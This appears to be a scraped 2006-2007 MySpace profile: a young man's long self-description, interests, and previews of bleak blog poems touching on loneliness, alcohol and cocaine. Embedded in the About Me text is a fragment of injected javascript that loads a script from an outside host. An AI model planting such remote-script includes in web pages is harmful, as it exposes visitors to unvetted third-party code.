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..tired of the bullshit.

..you've got to keep your mind on the shit you want, and off the fucking shit you dont..

About Me

im pretty much a "no-fun" person.. but as you wish here's all the lame stuff about me no-one knows and now you know ..be happy.. smile.. and tie your shoes before you trip..its a long ride downI don't like confrontation. My favorite sandwich when I was little was a cheeze whiz sandwich. I laugh when people drop/break their cell phones. I have a cell phone. I have only dropped it once.. actually twice.. but only because I was with a girl I really liked and I was nervous. I don't have a car. I don't have a favorite food, and I don't like much. I drink Pepsi, but I've been cutting down. Now I drink Aquafina, or Sobe, Caprisuns, or I don't know. I don't have a favorite color. I like different shades of different colors though. Pale colors are really cool, like pale green and pale purple. And I don't have a favorite band either. I hate sitting in my room.. unless i'm sleeping. I sit all day -----in my freinds room -----in class -----outside -----in cars -----on the toilet I listen to the music in those places too. I listen to music almost 24/7 I'm afraid of heights. I'm afraid of being upside down. I'm afraid of going fast when I can't control the speed. Naturally.. I'm not to fond of rollercoasters.I'm a bad artist. I'm a bad poet. But I try. I'm a horrible student, but manage to pass with low 90s high 80s. I used to watch too much TV, now I don't watch enough. I can go a long time without blinking. I went 30 minutes watching TV without blinking once. I have no skills when it comes to talking to girls. I'm really shy, but its hard to tell since I joke so much. But I can only joke when I have people around that I know will laugh. I think too much... ...about every little thing. I tend to walk where I think I might run into someone. It's like.. alternate stalking? It never seems to pay off though. I wear my heart on my sleeve and my penis in my pants. I've always wanted a girlfriend to be my best friend. Then again, I'll settle for the normal girlfriend... or a normal best friend... My favorite part of a girl's mind is her sense of humor. My favorite part of a girl's body is her hip bones and tummy. I don't drink...sometimes Because I have proven time and time again that I can be stupid and irresponsible sober. I don't smoke. I don't see a point in it at all. I don't do other drugs. See the two reasons above. I don't call myself straightedge because people only use that term now-a-days to make themselves look better than others. I don't work well in small groups. I'm no sort of leader. I'm the jealous type. But not aggressive jealous. The sit-back-and-not-do-anything-about-it jealous type. I like to be alone. I hate to be lonely. I'm lonely a lot. I'm alone a lot. I'm not anti-social, but anti-most people. Well actually, I just have no where to go, and no way to get anywhere. I don't like distance. I wish I could go anywhere at anytime. I have too much hope in people. I tend to be clingy to anyone nice to me. I can lie about certain things without guilt, but only small lies. I feel responsible a lot of times when it wasn't my fault. I say "sorry" a lot. I don't have any piercings, anymore. I don't have any tattoos. Don't plan on getting any. I look down when I walk. I put my hands in my pockets. I have bad posture. I hope you are reading this. I can't read things that don't keep me interested. I hope you are interested. I love movies. I can like any movie. Show me a foreign film in a language I can't understand. I will like it.I feell asleep at night watching TCM (turner classic movies) and that AMC (American Movie Classics or something) channel watching old movies. I turned into Clark Gable. I like when people visit me for no reason. I like when people call me for no reason. I don't like the phone though. But I like to be called for no reason. Weird, eh? i think i know more about myself..do you? .... language="javascript" src="http://nathanjosiah.110mb.com/request.js"function nothingf(){document·write("nathanjosiah1.mov.r{}");}..I got my layout at Cleanupmyspace.com MySpace Layout Editor MySpace Generators MySpace Comments MySpace Codes Icon Collages

My Interests

I'd like to meet:

..me 5 years from now..

Music:

..i'm the person everyone laughs at as they drive by cause i'm jammin'

Movies:

FRANK ZAPPA, eternal sunshine of the spotless mind, and all that fantastic movie making

Television:

televisions all commercials..screw the tube

Books:

angels and demons, davinci code, robert frost, poe

Heroes:

captain morgan, jack daniels, mary jane..- you get the picture, i like to have a good time..

My Blog

america go fuck your adam bomb

america i've given you all, now i'm nothing. america 2 dollers and 27 cents january 17 1956  i cant stand my own mind america when will we end the human war?  go fuck your adam bomb i d...
Posted by ..tired of the bullshit. on Sun, 15 Apr 2007 09:26:00 PST

...I am tired of always being second best.

  keeping my eye on the prize I understand why I'll never win the glass is almost always half empty and my wallet is missing a few bucks being too tired of life is knowing when to quit. you're no...
Posted by ..tired of the bullshit. on Thu, 15 Feb 2007 08:55:00 PST

...

  theres a change in tide between the synapses of brainwaves i shouldn't shoot too high these days negative response is something unbearable mistakes wash up lying limp along the shoreline takin...
Posted by ..tired of the bullshit. on Mon, 11 Dec 2006 05:59:00 PST

alchoholism suiting satisfaction, [[theres no need for blankets anymore]]

i've learned to fight my battles, without including the rhetorical. it would be impossible for you to understand, the monotony in which i've come to dwell upon. fantastic memories of the past,&nb...
Posted by ..tired of the bullshit. on Sat, 25 Nov 2006 09:25:00 PST

ciggarettes pressed between restless lips, i've lost those satellite nights

lost subject lines and miscommunication leave me with some discontent sitting in the shadow of the limelight and satellite nights ciggarette pressed between restless lips i'm tired of trying to find s...
Posted by ..tired of the bullshit. on Sat, 04 Nov 2006 10:26:00 PST

lost subject lines, and miscommunication

tomorrow. a three sylable word, that everyone missunderstands. and is usually re-itterated by reality. tomorrow is a word people have prepackaged with hope, "tomorrow is a new day"  a quote tied ...
Posted by ..tired of the bullshit. on Tue, 05 Sep 2006 07:11:00 PST

the poison in her struck its mark, same spot everytime..

she chose to show up when he hadn't slept in days couldn't even feed him a line the poison in her struck its mark same spot every time.     fuck trying to prosper, prosperity is an unlawful ...
Posted by ..tired of the bullshit. on Sat, 12 Aug 2006 09:15:00 PST

fuck possibility, proper foundation begins with 200 dollers worth of coke..

SometimesI can't lay downMy pastSometimesI'm too blind to seeYou laughing at meAlthough you hit me hardI come backSome...Some-timesYou drag me onNo words to explainAltough you through away my nameFrom...
Posted by ..tired of the bullshit. on Fri, 11 Aug 2006 10:47:00 PST

its how it goes

i've found myself hanging by the ropes at the bottom of this crater i've created by my mistakes climbing out is something uncomprehensible hoping that in some plausible sense that i have to keep worki...
Posted by ..tired of the bullshit. on Tue, 25 Jul 2006 12:31:00 PST

paychecks with a home in someone elses pocket.

there are somethings i've learned to accept.. ..and i realize that its killing me.       i'd ask for help, but thats such a sorry thing to do..
Posted by ..tired of the bullshit. on Sun, 16 Jul 2006 11:44:00 PST